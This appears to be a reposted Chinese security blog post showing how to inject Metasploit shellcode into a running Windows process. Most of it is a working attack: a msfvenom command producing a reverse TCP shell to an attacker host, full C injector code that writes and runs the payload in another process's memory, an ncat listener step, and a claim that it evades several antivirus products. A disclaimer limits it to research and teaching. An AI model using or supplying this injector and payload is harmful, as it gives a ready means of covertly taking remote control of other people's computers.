Shellcode是由汇编指令转换过来的二进制机器码,当利用shellcode进行恶意木马活动时,shellcode可以实现相较于传统木马文件落地的隐匿性。
恶意shellcode动态注入进程的优点
-
文件不落地,可以免杀
-
一般使用的Shellcode加载器体积小,并且有很强的可移植性,可以轻易的插入到未编译的源码中
-
Shellcode加载器能够在注入Shellcode后自我销毁清除痕迹,一定程度上可以防止溯源
缺点
-
加载在内存之中,主机重启或宿主进程关闭后Shellcode将无法继续执行,实际中需要考虑持久化处理
下面笔者利用msf做一个示例
msfvenom -p windows/x64/shell_reverse_tcp LHOST=x.x.x.x LPORT=11451 -f c -b x00x0ax0d
注意:此处的-b指不允许出现的字符,x00空字符、x0a换行符、x0d终止符都会使shellcode出现问题
生成payload之后,可以用C语言来编写一个注入器
//你的shellcode
unsigned char buf[] = "生成的payload";
int main(){
HANDLE Handle;//声明用于存放目标进程句柄的句柄变量
HANDLE remoteThread;//声明指向Shellcode内存的句柄变量
PVOID remoteBuffer;//声明在目标进程中指向分配给shellcode运行的内存指针
DWORD Pid=20452;//目标进程的PID
//获取目标进程的句柄
Handle=OpenProcess(PROCESS_ALL_ACCESS,FALSE,Pid);
//要求目标进程为Shellcode分配内存,VirtualAllocEx()函数的参数详情可翻阅官方文档
remoteBuffer=VirtualAllocEx(Handle,NULL,sizeof(buf),(MEM_RESERVE | MEM_COMMIT),PAGE_EXECUTE_READWRITE);
//将Shellcode写入目标进程的内存中
WriteProcessMemory(Handle,remoteBuffer,buf,sizeof(buf),NULL);
//在进程中创建一个线程用以运行shellcode
remoteThread = CreateRemoteThread(Handle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
//关闭句柄,释放资源
CloseHandle(Handle);
CloseHandle(remoteThread);
return 0;
}
然后用ncat监听11451端口
最后运行注入器(运行以后目录下会出现一个xxx.exe),运行之后直接上线
最后也是过了百度360火绒红伞
原文始发于微信公众号(黄豆安全实验室):Metasploit恶意ShellCode注入进程的简单示例
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论